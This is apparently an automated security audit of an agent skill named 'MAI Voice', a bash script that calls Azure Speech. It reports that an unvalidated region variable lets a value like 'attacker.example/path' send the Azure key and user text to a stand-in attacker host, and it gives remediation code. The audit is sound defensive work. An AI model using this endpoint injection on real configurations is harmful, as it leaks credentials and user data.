Back to skill

Security audit

MAI Voice

Security checks for vulnerabilities and agentic risk

Overview

The skill mostly does what it says, but it sends an Azure speech key and user text to a URL built from an unvalidated region setting.

Review this before installing if you will use real Azure credentials or sensitive text. Only set AZURE_SPEECH_REGION from a trusted Azure resource value such as eastus, avoid submitting secrets or regulated personal data as speech input, and prefer adding region validation before using the skill in shared or automated environments.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (1)

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/speak.sh:143
Finding
Azure Speech API Key Exfiltration Through Unvalidated Region Endpoint<![CDATA[ ## Vulnerability Details **File Location**: `scripts/speak.sh`, lines 143-153 **Vulnerability Type**: Credential exfiltration through URL authority injection **Risk Level**: Medium ### Vulnerable Code ```bash url="https://${AZURE_SPEECH_REGION}.tts.speech.microsoft.com/cognitiveservices/v1" curl -sS --fail-with-body \ -X POST "$url" \ -H "Ocp-Apim-Subscription-Key: ${AZURE_SPEECH_KEY}" \ -H "Content-Type: application/ssml+xml" \ -H "X-Microsoft-OutputFormat: ${format}" \ -H "User-Agent: curl" \ --data-raw "$ssml" \ --output "$out" ``` ### Technical Analysis `AZURE_SPEECH_REGION` is incorporated directly into the request URL after being checked only for emptiness. The script does not require the value to be a valid Azure region or prevent URL authority delimiters such as `/`. A malicious value can therefore terminate the intended hostname portion. For example: ```bash AZURE_SPEECH_REGION='attacker.example/path' ``` This produces: ```text https://attacker.example/path.tts.speech.microsoft.com/cognitiveservices/v1 ``` The effective destination host is `attacker.example`, not an Azure Speech host. Nevertheless, `curl` attaches the `Ocp-Apim-Subscription-Key` header containing `AZURE_SPEECH_KEY` and transmits the generated SSML body. TLS does not prevent this issue because `curl` validates the certificate against the attacker-controlled hostname that resulted from the injected value. No command injection is present; the vulnerability is an endpoint-injection flaw that allows sensitive headers and request content to be sent to an unintended server. ### Attack Path 1. The attacker gains the ability to influence the Skill's configuration or the `AZURE_SPEECH_REGION` environment variable. 2. The attacker supplies a value containing a hostname and path delimiter, such as `attacker.example/path`. 3. A user or agent invokes `scripts/speak.sh` with speech text while a valid `AZURE_SPEECH_KEY` is present. 4. The script constructs a URL w ...[truncated 1194 chars]
Remediation
<![CDATA[ ## Remediation Suggestions Validate `AZURE_SPEECH_REGION` before constructing the endpoint. Prefer an explicit allowlist of Azure regions supported by this Skill: ```bash case "${AZURE_SPEECH_REGION}" in eastus|westus|westus2|westeurope) ;; *) echo "Unsupported Azure Speech region" >&2 exit 1 ;; esac ``` If maintaining an allowlist is impractical, enforce a strict region syntax that excludes URL delimiters and other authority-changing characters: ```bash if [[ ! "${AZURE_SPEECH_REGION}" =~ ^[a-z0-9]+$ ]]; then echo "Invalid AZURE_SPEECH_REGION" >&2 exit 1 fi ``` Additional hardening should include: 1. Constructing endpoints from a trusted mapping of supported region names to fixed Azure hostnames. 2. Rejecting values containing `/`, `\`, `:`, `@`, dots, whitespace, percent encoding, or control characters. 3. Verifying that the final hostname exactly matches an expected Azure Speech hostname before invoking `curl`. 4. Avoiding user-controlled endpoint overrides when requests carry subscription keys. 5. Rotating the Azure Speech key if the script has already been run with an untrusted region value. 6. Adding tests that confirm malicious values such as `attacker.example/path`, `eastus@attacker.example`, and values containing whitespace are rejected before any network request occurs. ]]>
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
Findings (4)

Lp3

Medium
Category
MCP Least Privilege
Confidence
70% confidence
Finding
Without declared permissions the skill's intent is opaque and cannot be validated.

External Transmission

Medium
Category
Data Exfiltration
Content
url="https://${AZURE_SPEECH_REGION}.tts.speech.microsoft.com/cognitiveservices/v1"

curl -sS --fail-with-body \
  -X POST "$url" \
  -H "Ocp-Apim-Subscription-Key: ${AZURE_SPEECH_KEY}" \
  -H "Content-Type: application/ssml+xml" \
Confidence
70% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Missing User Warnings

Medium
Confidence
92% confidence
Finding
This shell script sends user-provided text or text-file contents to a remote Azure Speech endpoint and writes the returned audio to disk. While the usage text documents required parameters, it does not disclose that input content leaves the local system or that an output file is created automatically.

Missing User Warnings

Low
Confidence
89% confidence
Finding
The README instructs users to send arbitrary text to Azure Speech REST API but does not explicitly warn that the provided text will be transmitted to a third-party cloud service. This creates a privacy and data-handling risk because users may unknowingly submit sensitive or regulated content to an external provider.

Static analysis

No suspicious patterns detected.